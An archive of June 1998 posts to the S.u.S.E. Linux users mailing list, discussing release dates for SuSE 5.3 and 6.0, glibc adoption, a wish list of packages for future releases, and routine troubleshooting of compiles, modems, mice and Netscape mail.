> Fred
>=20
> Jonathan Mark Brooks wrote:
>=20
> > Is there a complete listing of modifications from 5.2?  Switching to
> > glibc is no small matter, in fact, I personally think that it is
> > overdue.  I am assuming that it will have ppp-2.3.3 and the 2.0.34
> > kernel with FAT32 support also.  What else?
> >=20
> > > I talked with them Friday, and was told that it was going to ship in
> > > July.  I ordered 5.2 anyway.
> > > 'Careful about the use of the term "irresponsible" when you don't know
> > > the situation.
> > >
> > > Fred
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From fmiller@lightlink.com Tue Jun  9 00:10:34 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Release of 5.3 [was: Yast, ld.conf.so, and libraries?]
Date: Mon, 08 Jun 1998 20:10:34 -0400
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James Gray wrote:
> 
> Greetings, everyone!
> 
> Sorry for the confusion on release dates. I received a report today from
> the developers on what's happening. We will release 5.3 in mid to late
> August. This is in synch with our normal release schedule, since we try
> for 3 releases per year.
> 
> There will be a 6.0 beta in late September and an official release in
> November, which will be at last glibc.
> 
> I will divulge more as I know it!  Thanks for your patience!

Thanks, Jim!  That's what I was told today when I talked to someone else
there.  5.2 arrived today....looks good!

Regards,

Fred


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From jmbrooks@bigfoot.com Tue Jun  9 03:07:44 1998
From: jmbrooks@bigfoot.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSEconfig and default runlevel
Date: Mon, 08 Jun 1998 23:07:44 -0400
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I don't see this among my options in he rc.config file or under YAST. 
Where is this?

Bodo Bauer wrote:
> Look at this:
> 
> #
> # SuSEconfig can do some modifications to /etc/inittab.  If you don't want
> # this, set CHECK_INITTAB to no.  (yes/no)
> #
> CHECK_INITTAB=yes
>

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From jmbrooks@bigfoot.com Tue Jun  9 03:24:17 1998
From: jmbrooks@bigfoot.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Regarding release dates for 5.3 and 6.0
Date: Mon, 08 Jun 1998 23:24:17 -0400
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Here's what I recieved in response to my query:

> Please advise me regardin the release date for SuSE-Linux-6.0.

SuSE Linux 6.0 will be released in October 1998, with a possible Beta
version available in September.  We will also be releasing 5.3 late this
summer.
 > 
> Also, a summary of new features over 5.2 would be appreciated.

At the moment, this request is a bit premature.  Please let us know if
we
can be of any further assistance.

Regards,

Scott Winterton
S.u.S.E., Inc.

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From dana@ntd.net Tue Jun  9 04:10:47 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Regarding release dates for 5.3 and 6.0
Date: Mon, 08 Jun 1998 23:10:47 -0500
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> SuSE Linux 6.0 will be released in October 1998, with a possible Beta
> version available in September.  We will also be releasing 5.3 late this
> summer.

In the 6.0 release would it be possible to have *both* lib5 and
lib6statically linked?  I did this with RH 5.0 and StarOffice 4.0 which
worked well, but this would be a global thing.  Is this possible?
Personally, this would be the best of both worlds which would allow
various applications to catch up.  ;) (or an easy out to lib5 dependent
apps)

Dana


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From hettar@teleport.com Tue Jun  9 04:43:02 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE 5.3?
Date: Mon, 08 Jun 1998 21:43:02 -0700
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Why SuSE 5.3?

I can't imagine what the differences that SuSE 5.3 will have over 5.2
SuSE.

Only reason I see that SuSE 5.3 will be released is their dedication to
release
a new SuSE every 4 months or so.  Which by it-self has me wondering, do
I really need 5.3? (yes I am on the subscribe to SuSE updates).

I would really like not to be the "last one on the block" to be able to
use
one new feature such as glibc2.  I know maybe the delay is for maybe
to be able to put in 2.2.0 Kernel with the SuSE 6.0 as they just
released
2.1.105 with HAM radio drivers (which is to me looking like they about
finished with the 2.1.XX development)=(they throwing all the bells and
whistles in).

I would very much like to figure out how to tweak my current box to
support
the now linux standard of glibc2.  Everything is going that way, why
wait.
Linux is for testing/haveing fun/tweaking/hacking you name it. Seeing
the RH users having fun/trubbles with it, and seeing Debian get tons
of support + having their beta 2.0 called HAMM is getting me jealous.

Kernel 2.0.34 is out and stable from what I have heard, SuSE "heavly -
patches" thier Kernels, so in waiting for SuSE to update thier ftp site
with .34, I am wonder what they patch exacly to make it thier own
version
of the Kernel thus making it un-pactchable by some of the standard
patches
for the Linux Kernels, this is fustrating.  I could use a
standard-out-of-the
-box Kernel source-tree, I have before, so I am wondering as stated
above
what makes the -suse kernels so different/ should I wait?  I did notice
that most distros have to append LILO if they have over 32Megs of RAM
but I have never had that problem.

I really enjoy SuSE, it is keeping pretty much standard to the Linux
community.
Unlike lets say Red Hat, which strays by putting in thier
"easy-to-use-config"
programs which are not standard, and making people who help RH users
"Have"
to be Red Hat users themselfs. But RH over all is a good distro as all
of them are.
This is not over the .rpm management program.

Steve Udell
hettar(a)teleport.com
sudell(a)teleport.com

So does SuSE have a wish list, to like make comments on what they should
have
on a up-and-comming distro of thiers? if so where do I find it?


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From hettar@teleport.com Tue Jun  9 04:52:52 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE 5.3
Date: Mon, 08 Jun 1998 21:52:52 -0700
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reposting cause of netscape screwed up my message
with line returns that I did not put there  :(
I would deleate the old msg myself but it didn't work
----------------------------------

Why SuSE 5.3?

I can't imagine what the differences that SuSE 5.3 will
have over 5.2 SuSE.

Only reason I see that SuSE 5.3 will be released is their
dedication to release a new SuSE every 4 months or so.
Which by it-self has me wondering, do I really need 5.3?
(yes I am on the subscribe to SuSE updates).

I would really like not to be the "last one on the block" to
be able to use one new feature such as glibc2.  I know
maybe the delay is for maybe to be able to put in 2.2.0
Kernel with the SuSE 6.0 as they just released 2.1.105
with HAM radio drivers (which is to me looking like they
about finished with the 2.1.XX development)=(they
throwing all the bells and whistles in).

I would very much like to figure out how to tweak my
current box to support the now linux standard of glibc2.
Everything is going that way, why wait.
Linux is for testing/haveing fun/tweaking/hacking you
name it. Seeing the RH users having fun/trubbles with it,
and seeing Debian get tons of support + having their beta
2.0 called HAMM is getting me jealous.

Kernel 2.0.34 is out and stable from what I have heard,
SuSE "heavly - patches" thier Kernels, so in waiting for
SuSE to update thier ftp site with .34, I am wonder what
they patch exacly to make it thier own version of the
Kernel thus making it un-pactchable by some of the
standard patches for the Linux Kernels, this is fustrating.
I could use a standard-out-of-the-box Kernel source-tree,
I have before, so I am wondering as stated above what
makes the -suse kernels so different/ should I wait?  I did
notice that most distros have to append LILO if they have
over 32Megs of RAM but I have never had that problem.

I really enjoy SuSE, it is keeping pretty much standard to
the Linux community. Unlike lets say Red Hat, which strays
by putting in thier "easy-to-use-config" programs which
are not standard, and making people who help RH users
"Have" to be Red Hat users themselfs. But RH over all is
a good distro as all of them are. This is not over the .rpm
management program.

Steve Udell
hettar(a)teleport.com
sudell(a)teleport.com

So does SuSE have a wish list, to like make comments on
what they should have on a up-and-comming distro of
thiers? if so where do I find it?


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From hettar@teleport.com Tue Jun  9 05:19:24 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3?
Date: Mon, 08 Jun 1998 22:19:24 -0700
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Ignore this messgae as it was screwed by netscape ..I re-posted sorry


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From satan@nfinity.com Tue Jun  9 05:29:51 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3?
Date: Tue, 09 Jun 1998 00:29:51 -0500
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I'm a subscriber as well.  I really feel another libc5 release is
gratuitous.  But SuSE has to turn a profit or we're all stuck using some
other dist.  I don't like having to buy another libc5 dist, but what's
$35 in the big picture?  I would much rather beta test 6.0,  but I don't
know if it's going to be an open or closed beta.  I am beginning to run
into source code that is a bitch to compile, because it was meant for
boxes running glibc.  But I ran a glibc dist that wasn't ready,  and I'm
not putting up with that tragicomedy ever again.  So I'm sure SuSE will
release 6.0 "when it's done".

Steven Udell wrote:
> 
> Why SuSE 5.3?
> 
> I can't imagine what the differences that SuSE 5.3 will have over 5.2
> SuSE.
> 
> Only reason I see that SuSE 5.3 will be released is their dedication to
> release
> a new SuSE every 4 months or so.  Which by it-self has me wondering, do
> I really need 5.3? (yes I am on the subscribe to SuSE updates).

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From kar@webline.dk Tue Jun  9 05:58:59 1998
From: kar@webline.dk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3?
Date: Tue, 09 Jun 1998 07:58:59 +0200
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> I'm a subscriber as well.  I really feel another libc5 release is
> gratuitous.  But SuSE has to turn a profit or we're all stuck using some

I wondered "Why bother with this, why just not buy it?" But then I
realized that as a subscriber, you'd get all new releases. Perhaps
S.u.S.E. could make an exceptions this time, as the releases are so
close together.

For my part I'd like a new release, because I'm selling S.u.S.E. in
Denmark. It's better to have new releases ever so often, there's a lot
happening in Linux County.


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From dwj@aaronsrod.com Tue Jun  9 07:46:31 1998
From: dwj@aaronsrod.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] 'tputs' missing in PostgreSQL compile
Date: Tue, 09 Jun 1998 00:46:31 -0700
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I am on SuSE 5.2 attempting to compile postgresql-6.3.2. It fails here:

gcc -o psql -L../../interfaces/libpq psql.o stringutils.o \
-lpq -ldl -lm -lbsd -lreadline -lhistory  -export-dynamic 
/usr/lib/libreadline.a(display.o): In function `rl_redisplay':
display.o(.text+0x9bf): undefined reference to `tputs'

According to a Usenet post, tputs is in libncurses. But I have
libncurses installed:

# rpm -q ncurses
ncurses-4.2-1

Can anyone give me a clue how to fix this?

Thanks,
Dwight


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From weissel@jupiter.ph-cip.uni-koeln.de Tue Jun  9 08:49:59 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Tue, 09 Jun 1998 10:49:59 +0200
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Hi!

Trying to kill the keyboard, hatridge(a)straubing.baynet.de produced:
> to bring down the system or open the box. And whatever you do DON'T get a
> winmodem. They are junk to start with and get worst as you go along. You

Winmodems are probably OK for Windows. But since they lack essential
hardware (and have to use the CPU of the computers using a proprietary
DLL to compensate) they simply won't work with anything else, e.g.
Linux.

-Wolfgang


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From misc.word.corp@pobox.com Tue Jun  9 10:53:27 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 06:53:27 -0400
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I for one would love to see a wish list for 5.3 and (eventually) 6.0.
There's been a lot of traffic on the major *nix download sites over the
last few months, and most of the software in the principal SuSE packages
have received  updates of one kind or another.

This ML might be one avenue to open up the forum for suggestions for
5.3, if users are in agreement.

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From jmbrooks@bigfoot.com Tue Jun  9 11:13:33 1998
From: jmbrooks@bigfoot.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3?
Date: Tue, 09 Jun 1998 07:13:33 -0400
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I've just compiled the 2.0.34 kernel and am using it under SuSE 5.1. 
Other than the new FAT32 support in the VFAT filesystem module, I've not
noticed a very great difference in functionality.

What prevents installing glibc2?  How would one "static" link both lib5
and lib6 C libraries?

I'd rather like to play around with one of the new experimental
kernels.  I've downloaded 2.1.103.  Unfortunately, they seem to have a
lot of requirements.  PPP-2.2.3 (Redhat 5.1 comes with this, now) etc.

SuSE's distro is probably the easiest to configure that I've found so
far, and my impression of RH's implementation of XFree sucks
tremendously.  But it would be nice to have the latest stable tools.

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From jkrough@mindspring.com Tue Jun  9 13:45:50 1998
From: jkrough@mindspring.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3?
Date: Tue, 09 Jun 1998 08:45:50 -0500
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Jonathan Mark Brooks wrote:

> What prevents installing glibc2?  How would one "static" link both lib5
> and lib6 C libraries?

There is a how-to for this that describes how to set-up glibc as a teas
lib, main lib, and a link to a website where you can setup glibc to work as
a secondary library, not test or main lib.

Jerome K.


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From jkarns@ares.csd.net Tue Jun  9 14:16:40 1998
From: jkarns@ares.csd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] com1 microsoft mouse
Date: Tue, 09 Jun 1998 08:16:40 -0600
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I am having a mouse / com port problem also.  Am running SuSE 5.1 with a
clone MB.  After initial boot and after switching between graphics and
text modes, I loose the mouse.  Disconnecting and re-connecting the mouse
at the port seems to correct it.  I have tried various BIOS config's
concerning PnP, changing the physical port to logical COM2, etc.  Also
using a MS 2 button mouse.  My guess is that it is more the fault of the
MB UART than anything else, but I thought I'd throw it out to see if this
sounds familiar to anyone else.

On Mon, 8 Jun 1998, Wolfgang Weisselberg wrote:

>
>Hi!
>
>[reformated to <80 Chars/line]
>Trying to kill the keyboard, eramunds(a)online.no produced:
>> Please help a beginner at linux.
>> 
>> I installed the suse linux and i can get xf86setup running thru yast,
>> but my mouse does not work att all. after a while the box locks up
>> and i have to "cntr - alt - del" to get it running again.


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From brauki@cityweb.de Tue Jun  9 15:09:18 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Mail Stalls Without PPP Connection
Date: Tue, 09 Jun 1998 17:09:18 +0200
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Stu Green wrote:
> 
> Howard Arons wrote:
> 
> > Whenever I try to use Netscape 4.04 mail "offline," the program
> > freezes and the windows go blank, requiring a "kill" command.
> >
> > The browser starts up fine, but one click to the mail window and I'm
> > dead. Things work OK if there's a PPP connection up-and-running
> > however, even though I'm not attempting to send or receive traffic.
> > Bummer.
> >
> > Anybody had this problem? Is there a fix?
> >
> > Howard Arons
> > --
> > Powered by SuSE Linux 5.2 -- kernel 2.0.33
> > Communications by Netscape 4.0
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> 
> Try a 'route del default' prior to starting netscape without your ppp
> running.
> 
I made similar experiences. In my case, netscape started an ippp (ISDN)
connection, each and every time I started the mail application. I use
dial on demand.

This was due to name server queries. It was found that there were
requests for news-server adresses.

I am not sure wether deleting of the default route might cure this, i
saw netscape hanging like that on other occasions and do not remember.
(dynamic IP's, lost first packet, a few patches ago ;-))

There were many tips that all did not work in my (but other) cases:
delete all .news- files in your home dir. Delete all
news-servers from your netscape news / discussion groups.

In my case, I renamed the .netscape directory after the above failed,
restarted netscape, let it create a new .netscape dir and (oh my god!)
entered all prefferences and imported my e-mail adresses from .whatever
dir.

It can be helpful to enter _all_ requested names into /etc/hosts, but I
did not have the nerve to do that, though it was obvious.

Jürgen


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From brauki@cityweb.de Tue Jun  9 15:13:38 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSEconfig and default runlevel
Date: Tue, 09 Jun 1998 17:13:38 +0200
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Jonathan Mark Brooks wrote:
> 
> I don't see this among my options in he rc.config file or under YAST.
> Where is this?
> 
> Bodo Bauer wrote:
> > Look at this:
> >
> > #
> > # SuSEconfig can do some modifications to /etc/inittab.  If you don't want
> > # this, set CHECK_INITTAB to no.  (yes/no)
> > #
> > CHECK_INITTAB=yes
> >
what SuSE version do you use? These var's appeared in 5.2 and that's
exactly where my trouble began. ;-)

well solved now, btw.

Jürgen


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From satan@nfinity.com Tue Jun  9 16:37:02 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 11:37:02 -0500
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OK, here's what I think SuSE would benefit from including.  I'm leaving
out glibc and gnome, but those would be #1 of course.  I hope SuSE's
relationship, if any, with kde doesn't keep them from backing gnome. 
After a month of getting the gnome mailing list I can honestly say I'm
excited about the prospects.  Never have I seen such an active and
productive list.  You can't help but feel that gnome will be important
in the future of the linux desktop.:

1. StarOffice- this is free, unlike Corel and Applix, and a nice office
suite to boot.  Does Stardivision have an agreement with Caldera that
prevents other dists from including it?
2. Automake 1.3
3. Libtool 1.2
4. Xenon- an excellent and lightweight text editor for x...think notepad
for linux.  Very cool.
5. Poptart- a POP mail retrieval program that is infinitely easier for
linux newbies to figure out compared to the included alternatives.
6. TkMount- a neat little gui interface to mounting cd, floppy, zip.
7. Playmidi and Xplaymidi- still the best linux midi players.
8. Games
        Doom
        Xmame- the best emulator is finally as good in linux as in win95.
9. BitchX- the world's greatest irc client.  Everyone uses this, but
I've never seen it in a dist. Why?
10. x11amp and amp- We all use mp3s, right?
11. Netscape plugins- mpegtv.so, xanim.so and ump.so/timidity.tar. 
These are useful plugins, and in the case of timidity.tar would save the
customer a 9 mb download.
12. pppd-2.3.3
13. Xmftp-1.0.4- The best ftp client for x.  
14. egcs-1.0.3a- gcc-2.7.2.1 is more reliable than gcc-2.8.x, but I'm
starting to run into apps that need a newer gcc.  egcs-1.0.3a compiles
 everything I've tried, where gcc-2.8.x unexpectedly bails on some
stuff.
15. neXtaw- because NeXT is the most elegant gui devised by man and SuSE
already includes tkstep so why not?

Sorry for the long post, I'm sure I forgot a bunch of stuff.
 

misc.word.corp wrote:
> 
> I for one would love to see a wish list for 5.3 and (eventually) 6.0.
> There's been a lot of traffic on the major *nix download sites over the
> last few months, and most of the software in the principal SuSE packages
> have received  updates of one kind or another.

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From jmbrooks@bigfoot.com Tue Jun  9 17:05:23 1998
From: jmbrooks@bigfoot.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 13:05:23 -0400
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Sounds good to me, Glenn.  My wish list would begin by wishing for:

latest version of PPP (2.3.3) compiled with the latest stable kernel
(2.0.34)

Most current version of lib5 and ld.so.
A YAST tool for greater control of your windowmanager selection and
(dare I hope) even control of windowmanager layout.
Most current versions of bind, gcc, libg++ etc. (development tools)
Automated PPP connection configuration w/YAST

misc.word.corp wrote:
> 
> I for one would love to see a wish list for 5.3 and (eventually) 6.0.
> There's been a lot of traffic on the major *nix download sites over the
> last few months, and most of the software in the principal SuSE packages
> have received  updates of one kind or another.
> 
> This ML might be one avenue to open up the forum for suggestions for
> 5.3, if users are in agreement.
> 
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From djb@redhat.com Tue Jun  9 18:17:40 1998
From: djb@redhat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 14:17:40 -0400
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>=20
> OK, here's what I think SuSE would benefit from including.  I'm leaving
> out glibc and gnome, but those would be #1 of course.  I hope SuSE's
> relationship, if any, with kde doesn't keep them from backing gnome.=20
> After a month of getting the gnome mailing list I can honestly say I'm
> excited about the prospects.  Never have I seen such an active and
> productive list.  You can't help but feel that gnome will be important
> in the future of the linux desktop.:

I agree.

> 1. StarOffice- this is free, unlike Corel and Applix, and a nice office
> suite to boot.  Does Stardivision have an agreement with Caldera that
> prevents other dists from including it?

I believe that Caldera *does* have an exclusive with them.  Also, it's
not "free" for commercial use so I think Star Division only wants to deal
with distributors on a royalty basis per copy that they sell so that they
are assured of the revenue from companies that buy the Linux distro (ie
if a company pays $50 for a Linux distro and SO is on there they are going
to assume they can just use it and not pay).

> 2. Automake 1.3
> 3. Libtool 1.2

You want those so you can build Gnome.  :-)

> 4. Xenon- an excellent and lightweight text editor for x...think notepad
> for linux.  Very cool.

Got a URL handy?

> 5. Poptart- a POP mail retrieval program that is infinitely easier for
> linux newbies to figure out compared to the included alternatives.

Is it easier than fetchmail?  I can't imagine it is unless it includes
a GUI for setup or something.  Care to give us a comparison?

> 8. Games
> 	Doom

Doom can't be shipped in Germany.  It's illegal.

> 	Xmame- the best emulator is finally as good in linux as in win95.

Well, of course I'm speaking for RH here, but Xmame is dangerous at
best.  For one, to come close to legally shipping it you can't ship any
ROM images.  That makes it pretty useless without the user having to
go download stuff anyway (and at that point they could just download
Xmame while they're at it).  For another, it's a lawsuit waiting to happen.
Sure, I'm in the US so we have to be more scared of that than in most
other *sane* places, but...

> 9. BitchX- the world's greatest irc client.  Everyone uses this, but
> I've never seen it in a dist. Why?

The name?  ;-)

> 10. x11amp and amp- We all use mp3s, right?

Again, legal issues.  The MP3 format is patented and at least under
the law of many countries (the US included and SuSE does have a US
office so they have to consider this) it is illegal to ship it without
paying royalty.  Read the MP3 FAQ for details.

Personally, I say boycott MP3 and develop a competing standard.  That
implies the folks who care have the knowledge and time to do it, though.  :-(

> 13. Xmftp-1.0.4- The best ftp client for x. =20

That's motif based, though, right?  Does it work with lesstif?

> 14. egcs-1.0.3a- gcc-2.7.2.1 is more reliable than gcc-2.8.x, but I'm
> starting to run into apps that need a newer gcc.  egcs-1.0.3a compiles
>  everything I've tried, where gcc-2.8.x unexpectedly bails on some
> stuff.

Yep, egcs is the way to go.

> 15. neXtaw- because NeXT is the most elegant gui devised by man and SuSE
> already includes tkstep so why not?

Again, got a URL?  I'd do a net.search, but I'm sure others are
interested...  :-)

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From satan@nfinity.com Tue Jun  9 19:36:44 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 14:36:44 -0500
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djb(a)redhat.com wrote:

> > 2. Automake 1.3
> > 3. Libtool 1.2
> You want those so you can build Gnome.  :-)

:)

> > 4. Xenon- an excellent and lightweight text editor for x...think notepad
> > for linux.  Very cool.=20
> Got a URL handy?

http://www.proximity.com.au/~ben/xenon.=
html>

> > 5. Poptart- a POP mail retrieval program that is infinitely easier for
> > linux newbies to figure out compared to the included alternatives.
> Is it easier than fetchmail?  I can't imagine it is unless it includes
> a GUI for setup or something.  Care to give us a comparison?

Much like fetchmail.  I like it better, just my preference.  When I
first got into linux I didn't know fetchmail was in my dist,  sendmail
made my head swim, and I downloaded poptart and I've just used it ever
since.  Poppy is a cool perl script for browsing mail on your pop server
but it is no replacement for pine/elm/mutt and the pop retrieval tool of
your choice.

> > 13. Xmftp-1.0.4- The best ftp client for x.
>=20
> That's motif based, though, right?  Does it work with lesstif?

The author was working on a new version using QT.  I sent him an email
the last week of May.  I recommended he look into using gtk.  He sent me
an email a few days later saying he looked into gtk and decided that was
a better way to go and thanked me for the suggestion.  I thought that
was pretty cool.  Here is the post he made on his website:

--5-26-98=20

--
--     Some decisions I have made:=20
--
--     I'm ditching Qt altogether and using GTK instead.  I've also
decided to use C instead C++, simply
--     because I understand how to do things in C better (I'm not saying
C++ is bad!!).=20
--
--     kaosFTP, as it will be called, will be free, GPL'ed, etc. etc.=20
--
--     Thanks for all of the suggestions.

Here is the website, not much on it now.
http://www.magg.net/~kaos/htm=
l/kaosFTP/news.html>  new gtk version
http://www.magg.net/~kaos/html/xmftp.html>  the current motif based
version

Anyway, this ftp client rocks, and it will be that much cooler in gtk!
(now give us gtk-netscape!)
=20
> > 15. neXtaw- because NeXT is the most elegant gui devised by man and SuSE
> > already includes tkstep so why not?
>=20
> Again, got a URL?  I'd do a net.search, but I'm sure others are
> interested...  :-)

ftp://ftp.windowm=
aker.org/pub/libs/neXtaw-0.5.1.tar.gz>

On a similar note, I am a huge advocate for WindowMaker, but I didn't
include it because it is a little more hands-on than most win mgrs,=20
there are compile time options to think about, etc..  Probably not the
best win mgr to include in a dist as a precompiled bin.
=20
> --Donnie
>=20
 ps.
I am reading the glibc2 howto.  Hmm, well, I can always reinstall if I
bugger things up too bad ;)
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From root@intergate.bc.ca Tue Jun  9 19:51:03 1998
From: root@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 12:51:03 -0700
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I'm hoping they put WM in the next dist too, as I like it much better than
AS. If they do, hopefully they'll do the version just before the last
release (was it beta?? ) which, I have but didn't build, just cause I
think the version I had ( the one just prior to that) was just 'bout bug
free and a pleasure to look at/use on the rare occasion I'm actually
in X.
As far as WM being difficult, I started with AS and I find WM much simpler
to use than AS (especially the latest versions of AS, and as a matter of
personal preference find it prettier than AS *or* E---which is a bit much
on the eyes at times and garish).

Re mail. I have to agree Sendmail can make your hair turn white
especially when you're just starting out. Fetchmail
is awesome, I really like it. Poppy is limited. I will have to try this
Poptart program you mentioned once I find out where it is (when in doubt
try Freshmeat first :-) ) If we are really talking 'mail fro newbies'
here, it might be a nice innovation to have a part of YaST that does mail
configuration...(many people are on single user stations and just using an
ISP to send and recieve mail and this probably wouldn't be very
difficult.) I'm actually surprised no one has done it yet on a dist. (or
maybe someone has and I don't know about it.)=20

One thing I'd like to see also in the SuSE dist is the contributed RPM
stuff that
was discussed recently on this list.=20

=20

She said: "You know you aren't a very good singer..."
I said:   "That's nothing!! You should hear me play piano !!"
Morrissey=09

On Tue, 9 Jun 1998, Michael Lankton wrote:

>=20
> djb(a)redhat.com wrote:
>=20
> > > 2. Automake 1.3
> > > 3. Libtool 1.2
> > You want those so you can build Gnome.  :-)
>=20
> :)
>=20
> > > 4. Xenon- an excellent and lightweight text editor for x...think notepad
> > > for linux.  Very cool.=20
> > Got a URL handy?
>=20
> http://www.proximity.com.au/~ben/xeno=
n.html>
>=20
> > > 5. Poptart- a POP mail retrieval program that is infinitely easier for
> > > linux newbies to figure out compared to the included alternatives.
> > Is it easier than fetchmail?  I can't imagine it is unless it includes
> > a GUI for setup or something.  Care to give us a comparison?
>=20
> Much like fetchmail.  I like it better, just my preference.  When I
> first got into linux I didn't know fetchmail was in my dist,  sendmail
> made my head swim, and I downloaded poptart and I've just used it ever
> since.  Poppy is a cool perl script for browsing mail on your pop server
> but it is no replacement for pine/elm/mutt and the pop retrieval tool of
> your choice.
>=20
> > > 13. Xmftp-1.0.4- The best ftp client for x.
> >=20
> > That's motif based, though, right?  Does it work with lesstif?
>=20
> The author was working on a new version using QT.  I sent him an email
> the last week of May.  I recommended he look into using gtk.  He sent me
> an email a few days later saying he looked into gtk and decided that was
> a better way to go and thanked me for the suggestion.  I thought that
> was pretty cool.  Here is the post he made on his website:
>=20
> --5-26-98=20
> --
> --     Some decisions I have made:=20
> --
> --     I'm ditching Qt altogether and using GTK instead.  I've also
> decided to use C instead C++, simply
> --     because I understand how to do things in C better (I'm not saying
> C++ is bad!!).=20
> --
> --     kaosFTP, as it will be called, will be free, GPL'ed, etc. etc.=20
> --
> --     Thanks for all of the suggestions.
>=20
> Here is the website, not much on it now.
> http://www.magg.net/~kaos/h=
tml/kaosFTP/news.html>  new gtk version
> http://www.magg.net/~kaos/html/xmftp.html=
>  the current motif based
> version
>=20
> Anyway, this ftp client rocks, and it will be that much cooler in gtk!
> (now give us gtk-netscape!)
> =20
> > > 15. neXtaw- because NeXT is the most elegant gui devised by man and SuSE
> > > already includes tkstep so why not?
> >=20
> > Again, got a URL?  I'd do a net.search, but I'm sure others are
> > interested...  :-)
>=20
> ftp://ftp.wind=
owmaker.org/pub/libs/neXtaw-0.5.1.tar.gz>
>=20
> On a similar note, I am a huge advocate for WindowMaker, but I didn't
> include it because it is a little more hands-on than most win mgrs,=20
> there are compile time options to think about, etc..  Probably not the
> best win mgr to include in a dist as a precompiled bin.
> =20
> > --Donnie
> >=20
>  ps.
> I am reading the glibc2 howto.  Hmm, well, I can always reinstall if I
> bugger things up too bad ;)
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From jmbrooks@bigfoot.com Tue Jun  9 19:52:53 1998
From: jmbrooks@bigfoot.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSEconfig and default runlevel
Date: Tue, 09 Jun 1998 15:52:53 -0400
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I use 5.1.  I don't seem to have an .xinitrc file either in my root
directory (I usually X as root-user).

Juergen Braukmann wrote:
> 
> what SuSE version do you use? These var's appeared in 5.2 and that's
> exactly where my trouble began. ;-)
> 
> well solved now, btw.
> 
> Jürgen
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From jmbrooks@bigfoot.com Tue Jun  9 19:55:54 1998
From: jmbrooks@bigfoot.com
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Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 15:55:54 -0400
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Sounds like a good list of items to me.  So, where would I find these
now?

Michael Lankton wrote:

> 9. BitchX- the world's greatest irc client.  Everyone uses this, but
> I've never seen it in a dist. Why?
> 11. Netscape plugins- mpegtv.so, xanim.so and ump.so/timidity.tar.
> These are useful plugins, and in the case of timidity.tar would save the
> customer a 9 mb download.
> 13. Xmftp-1.0.4- The best ftp client for x.


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From pbleser@prov-liege.be Tue Jun  9 20:38:50 1998
From: pbleser@prov-liege.be
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 22:38:50 +0200
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bitchx is on
http=
://www.bitchx.com/>

Pascal
  /nick SuSE52 on #linux (IRCnet)
  root on www.student.prov-liege.be

-----Original Message-----
From: J. Mark Brooks 
To: suse-linux-e(a)suse.com 
Date: mardi 9 juin 1998 22:03
Subject: Re: [S.u.S.E. Linux] SuSE 5.3

>
>Sounds like a good list of items to me.  So, where would I find these
>now?
>
>Michael Lankton wrote:
>
>> 9. BitchX- the world's greatest irc client.  Everyone uses this, but
>> I've never seen it in a dist. Why?
>> 11. Netscape plugins- mpegtv.so, xanim.so and ump.so/timidity.tar.
>> These are useful plugins, and in the case of timidity.tar would save the
>> customer a 9 mb download.
>> 13. Xmftp-1.0.4- The best ftp client for x.
>
>
>--=20
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>common good, made by him who has care
>of the community.
>
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From satan@nfinity.com Tue Jun  9 21:54:25 1998
From: satan@nfinity.com
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Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 16:54:25 -0500
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Well, I hit freshmeat at least twice a day,  but I really like Woven
Goods For Linux,  which is where I've found a lot of the apps I use. =20
Here are some urls:

Woven Goods For Linux
http://www.fokus.gmd.de/linux/>
Ump and Timidity libs for Ump
http://pubweb.bnl.gov/people/hoff/>
Xmftp
http://www.magg.net/~kaos/html/xmftp.html>

And of course, mpegtv.so and xanim.so require that you have mpegtv and
xanim installed.  I don't think the xanim sources on the SuSE cds have
the objects that enable cinepak and indeo support, so here is the url
for the xanim page:
http://xanim.va.pubnix.com/home.html>

Xanim is a case where reading the documentation pays off.  You must edit
the Makefile to get the proper vid support and audio,  but I have used
xanim for some time, and the new quicktime3 format is the only thing I
found that it won't play.  It also does .wav and .fli as well as .avi,
.mov, .mpg (mpegtv is MUCH better for mpeg though) and probably others.

I can't remember where I got mpegtv.so and xanim.so from, so if you have
the app installed but can't find the .so for netscape, email me and I
